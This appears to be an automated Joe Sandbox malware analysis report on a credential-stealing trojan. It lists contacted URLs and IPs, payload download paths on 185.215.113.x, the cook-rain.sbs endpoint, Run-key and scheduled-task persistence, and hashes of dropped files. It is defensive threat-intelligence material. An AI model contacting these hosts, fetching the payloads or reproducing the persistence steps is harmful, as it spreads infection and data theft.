https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2438598854.00000000018D3000.00000004.00000020.00020000.00000000.sdmp, GDGHIDBK.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json.9.dr	false		high
https://excel.new?from=EdgeM365Shoreline	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BFBGDGIDBAAEBFHJKJDGCGCGDG.0.dr	false		high
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2721107227.0000000000C55000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json.9.dr	false		high
https://plus.google.com	chromecache_447.6.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllc	file.exe, 00000000.00000002.2722740091.0000000001859000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.10.dr	false		high
https://www.tiktok.com/	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://cook-rain.sbs:443/api	a929660733.exe, 0000001B.00000002.3438830084.0000000001365000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	BFBGDGIDBAAEBFHJKJDGCGCGDG.0.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://y.music.163.com/m/	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
http://185.215.113.16/steam/random.exeXt	skotes.exe, 00000019.00000002.3441963811.000000000117B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bard.google.com/	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2722740091.00000000018B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2747553724.0000000023CEE000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJEBGHJJKEBGIE.0.dr	false		high
https://clients6.google.com	chromecache_447.6.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://web.whatsapp.com	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://m.kugou.com/	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://www.office.com	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://outlook.live.com/mail/0/	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
http://185.215.113.16/mine/random.exeK	file.exe, 00000000.00000002.2722740091.0000000001859000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ntp.msn.com/edge/ntp	000003.log4.9.dr, 2cc80dabc69f58b6_1.9.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2438598854.00000000018D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2524024057.0000000023C9A000.00000004.00000020.00020000.00000000.sdmp, GDGHIDBK.0.dr, Web Data.9.dr, BKFBAECB.0.dr	false		high
https://cook-rain.sbs/6	a929660733.exe, 0000001B.00000002.3438830084.0000000001365000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2722740091.00000000018B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2747553724.0000000023CEE000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJEBGHJJKEBGIE.0.dr	false		high
https://tidal.com/	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
http://185.215.113.16/luma/random.exe	skotes.exe, 00000019.00000002.3441963811.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com	000003.log10.9.dr, 2cc80dabc69f58b6_0.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpu	file.exe, 00000000.00000002.2722740091.0000000001859000.00000004.00000020.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.16/luma/random.exe61391	skotes.exe, 00000019.00000002.3441963811.0000000001155000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.phpy	file.exe, 00000000.00000002.2722740091.0000000001859000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gaana.com/	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.18.14	play.google.com	United States	15169	GOOGLEUS	false
18.244.18.27	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
142.250.185.68	www.google.com	United States	15169	GOOGLEUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.244.18.122	unknown	United States	16509	AMAZON-02US	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557001
Start date and time:	2024-11-17 01:37:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@73/290@35/17
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 142.250.185.99, 64.233.167.84, 142.250.181.238, 20.242.39.171, 34.104.35.123, 216.58.212.163, 142.250.185.106, 216.58.212.138, 142.250.184.202, 142.250.181.234, 142.250.185.202, 142.250.185.170, 142.250.186.170, 142.250.74.202, 142.250.186.74, 216.58.206.42, 172.217.16.138, 216.58.212.170, 172.217.23.106, 142.250.185.138, 142.250.185.234, 142.250.186.42, 142.250.185.74, 142.250.186.138, 142.250.184.234, 142.250.186.106, 172.217.18.10, 172.217.18.106, 172.217.16.202, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 2.19.126.152, 2.19.126.145, 48.209.162.134, 13.85.23.206, 4.231.68.226, 88.221.110.195, 88.221.110.179, 2.23.209.133, 2.23.209.182, 2.23.209.187, 2.23.209.140, 2.23.209.149, 2.23.209.130, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.23.209.13, 2.23.209.28, 2.23.209.48, 2.23.209.3, 2.23.209.26, 2.23.209.52, 2.23.209.20, 2.23.209.59, 2.23.209.51, 13.95.31.18, 2.19.126.151, 2.19.126.157, 4.245.163.56, 2.23.209.36, 2.23.2
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, p-static.bing.trafficmanager.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, prod-agic-we-8.westeurope.cloudapp.azure.com, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, co
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:39:04	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
01:40:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run a929660733.exe C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe
19:38:40	API Interceptor	164x Sleep call for process: file.exe modified
19:40:01	API Interceptor	118x Sleep call for process: skotes.exe modified
19:40:13	API Interceptor	1x Sleep call for process: a929660733.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	Xa04iTOvv5.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
plus.l.google.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	216.58.206.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.185.174
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.185.78
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	216.58.206.46
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	216.58.206.46
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	142.250.186.78
	file.exe	Get hash	malicious	Unknown	Browse	216.58.206.46
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.186.142
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.186.46
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.185.174

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.42.73.31
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.99.185.48
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
AMAZON-02US	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.245.113.126
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	52.40.206.64
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.245.124.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	3.170.115.57
	x86.elf	Get hash	malicious	Unknown	Browse	52.11.211.2
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.32.110.123
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27
	http://dimfa.elcompanies.digitalillustra.com	Get hash	malicious	Unknown	Browse	18.245.46.105
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	chelentano.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45 184.28.90.27
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45 184.28.90.27
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.45 184.28.90.27
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45 184.28.90.27
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.45 184.28.90.27
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45 184.28.90.27
	https://bit.ly/3UPULW4?LmB=chMAG137nz	Get hash	malicious	Unknown	Browse	13.107.246.45 184.28.90.27
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45 184.28.90.27
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45 184.28.90.27
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	13.107.246.45 184.28.90.27
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	LummaC	Browse	40.113.110.67 40.115.3.253
	1Eo0gOdDsV.exe	Get hash	malicious	Quasar	Browse	40.113.110.67 40.115.3.253
	file.exe	Get hash	malicious	LummaC	Browse	40.113.110.67 40.115.3.253
	4c9ebxnhQk.exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253
	o4QEzeCniw.exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253
	XzCRLowRXn.exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253
	4c9ebxnhQk.exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253
	o4QEzeCniw.exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253
	XzCRLowRXn.exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253
	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	40.113.110.67 40.115.3.253
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFBGDGIDBAAEBFHJKJDGCGCGDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKFBAECB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.267666143571798
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMvSA1LyKOMq+8iP5GDHP/0jMVumv:Kq+n0Jv91LyKOMq+8iP5GLP/0S
MD5:	309F48A68BA6FF12CE39B47196AB663E
SHA1:	0F2CBBE94547F365F6EE8E2E340473815A52B086
SHA-256:	99D60A3123E04021D5D9932FBAAFE7929187040E2B097CB634619F76EF1EE4D0
SHA-512:	93A028B094478715B268542DCAC39D779FCE99D527C9878CADE558E8C09773FAE8079296CF3BE3DB0227639BF4A58E7D66770B382C630C13746C04D5FFBFA0A7
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHCBAEHJJJKKFIDGHJEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGDGIIJJECFIDHJJKKFCAECFHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDGHIDBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHJJECBKKECFIEBGCAK

